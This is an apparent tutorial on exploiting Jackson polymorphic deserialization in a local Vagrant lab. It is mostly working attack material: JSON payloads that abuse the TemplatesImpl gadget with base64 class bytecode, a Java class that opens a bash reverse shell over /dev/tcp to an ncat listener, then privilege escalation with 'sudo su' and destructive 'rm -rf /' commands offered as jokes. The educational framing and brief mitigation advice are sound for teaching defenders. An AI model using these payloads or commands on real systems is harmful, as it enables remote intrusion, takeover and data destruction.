Jackson is the standard serialization library for JVM based projects and you can see it quite often popping up in CVE lists. Many of those can allow remote code execution (RCE).
Before you start freaking out, please note that are likely not affected by this and then read this.
I was quite curious about the issue and was lucky enough to use my findings for a university project. This explanation helped me understand how those vulnerabilities were exploited.
Details
For the example in this document you will need the following things:
You will the following software:
ncat
(a modern implementation of netcat) which is contained in the nmap package -
or some equivalentI have created this sample project that contains a small echo
web server using Spark and a debian based vagrant box (/box
folder)
that can be used to quickly provision an exploitable machine and run experiments on it.
In order to provision the machine you will need to download the first release of the oracle JDK 8
and put it in the /box
directory.
Start the machine by running:
cd box && vagrant up
After a few minutes you should have a running Debian based Linux in VirtualBox and the echo web server accepting connections on port 4567 (the default Spark port).
You can verify the running service by issuing a POST request:
curl -d '{"id": 42}' -H "Content-Type: application/json" -X POST http://localhost:4567/echo
in which case you should get back:
{"id":42,"obj":null}
If you browse the repository you will find that this simple service has the definition of two dto classes:
public static class FooDto {
public int id;
public Object obj;
}
public static class BarDto {
public String msg;
}
you see the suspicious Object obj
in FooDto
. This may seem a contrived example but there can be actual
uses for this case: a UI that can edit arbitrary domain objects, a data warehouse API accepting a wide
variety of objects to store etc. You should be able to avoid Object
or generic interfaces
(e.g. java.util.Serializable
) as the nominal type and you should do that if polymorphic
deserialization is enabled.
In order for this to work we need to activate default typing
which has significant security implications
and should be done only for trusted clients:
new ObjectMapper().enableDefaultTyping();
Let's see in action what this definition allows to do:
{
"id": 123,
"obj":[ "jacksploit.App$BarDto", { "msg": "ping" } ]
}
we passed the fully qualified class name and a corresponding payload for our obj
field
which will get us back the same thing:
{"id":123,"obj":["jacksploit.App$BarDto",{"msg":"ping"}]}
This example is very innocent as the classes used our the ones in our domain.
What about:
{
"id": 123,
"obj":[ "java.awt.Point", { "x": 5, "y": 10 } ]
}
which will get us:
{"id":123,"obj":["java.awt.Point",{"x":5.0,"y":10.0}]}
because Object
is the root object of all java objects we can use any potential class that is on
our classpath.
What are gadgets?
We can leverage the classes that exist in the xalan
package. Using the provided JDK we can create
a simple class like the following:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Exploit extends AbstractTranslet {
public Exploit() throws Exception {
Runtime.getRuntime().exec("gnome-calculator");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, SerializationHandler[] handler) {
}
}
compile it:
javac Exploit.java
and serialize it to base64:
cat Exploit.class | base64 -w 0
craft the following payload:
{
"id": 123,
"obj":[ "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
{
"transletBytecodes" : [ "yv66vgAAADQAHwoABgASCgATABQIABUKABMAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAZAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAAxFeHBsb2l0LmphdmEMAAcACAcAGgwAGwAcAQAQZ25vbWUtY2FsY3VsYXRvcgwAHQAeAQAHRXhwbG9pdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAAAIABAADAA0ABAALAAAABAABAAwAAQANAA4AAQAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAAgAAQANAA8AAQAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAAwAAQAQAAAAAgAR" ],
"transletName" : "foo",
"outputProperties" : { }
}
]
}
and POST it to our echo
endpoint:
This will execute the gnome-calculator
executable in our machine.
Note: the example above will not work if the service is running in the box or if you are not on a Linux with
gnome-calculator
installed.
At this point we need to repeat the process but this time the plan is to not run a calculator app.
On our host machine we need to start listening for incoming connections:
ncat -nvlp 4242
We will create a new Exploit class, but this time will will issue a reverse shell connection to our host machine:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Exploit2 extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
public Exploit2() throws IOException, InterruptedException {
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/10.0.2.2/4242;cat <&5 | while read line; do $line 2>&5 >&5; done"});
p.waitFor();
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
Compile and base64 this class as explained in the previous section.
As expected the payload will be bigger this time:
{
"id": 123,
"obj":[ "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
{
"transletBytecodes" : [ "yv66vgAAADQAMwoACwAbCgAcAB0HAB4IAB8IACAIACEKABwAIgoAIwAkCAAlBwAmBwAnAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACgHACkBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYHACoBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAApTb3VyY2VGaWxlAQANRXhwbG9pdDIuamF2YQwADAANBwArDAAsAC0BABBqYXZhL2xhbmcvU3RyaW5nAQAJL2Jpbi9iYXNoAQACLWMBAFFleGVjIDU8Pi9kZXYvdGNwLzEwLjAuMi4yLzQyNDI7Y2F0IDwmNSB8IHdoaWxlIHJlYWQgbGluZTsgZG8gJGxpbmUgMj4mNSA+JjU7IGRvbmUMAC4ALwcAMAwAMQAyAQBSZXhlYyA1PD4vZGV2L3RjcC8xMjcuMC4wLjEvNDI0MjtjYXQgPCY1IHwgd2hpbGUgcmVhZCBsaW5lOyBkbyAkbGluZSAyPiY1ID4mNTsgZG9uZQEACEV4cGxvaXQyAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BAB5qYXZhL2xhbmcvSW50ZXJydXB0ZWRFeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAHd2FpdEZvcgEAAygpSQAhAAoACwAAAAAABAABAAwADQACAA4AAABOAAUAAwAAACYqtwABuAACTCsGvQADWQMSBFNZBBIFU1kFEgZTtgAHTSy2AAhXsQAAAAEADwAAABYABQAAAAoABAALAAgADAAgAA0AJQAOABAAAAAGAAIAEQASAAEAEwAUAAIADgAAABkAAAADAAAAAbEAAAABAA8AAAAGAAEAAAATABAAAAAEAAEAFQABABMAFgACAA4AAAAZAAAABAAAAAGxAAAAAQAPAAAABgABAAAAGAAQAAAABAABABUACQAXABgAAgAOAAAARgAFAAMAAAAiuAACTCsGvQADWQMSBFNZBBIFU1kFEglTtgAHTSy2AAhXsQAAAAEADwAAABIABAAAABsABAAcABwAHQAhAB4AEAAAAAYAAgASABEAAQAZAAAAAgAa" ],
"transletName" : "foo",
"outputProperties" : { }
}
]
}
and POST.
You will see your request hanging and a established incoming connection on your host machine.
Given that our service is running as the vagrant user we can verify our identity:
whoami
but we were born to be root, right?
sudo su
and we were destined to do big things in our lives, right?
rm -rf /
and nothing will stop us, right?
rm -rf --no-preserv-root
Tip: you can rebuild your vagrant box by destroying the machine:
vagrant destroy && vagrant up
In order to survive Java serialization apocalypse .
https://github.com/mbechler/marshalsec
https://github.com/FasterXML/jackson-databind/commit/60d459cedcf079c6106ae7da2ac562bc32dcabe1
https://frohoff.github.io/appseccali-marshalling-pickles/
https://brandur.org/fragments/gadgets-and-chains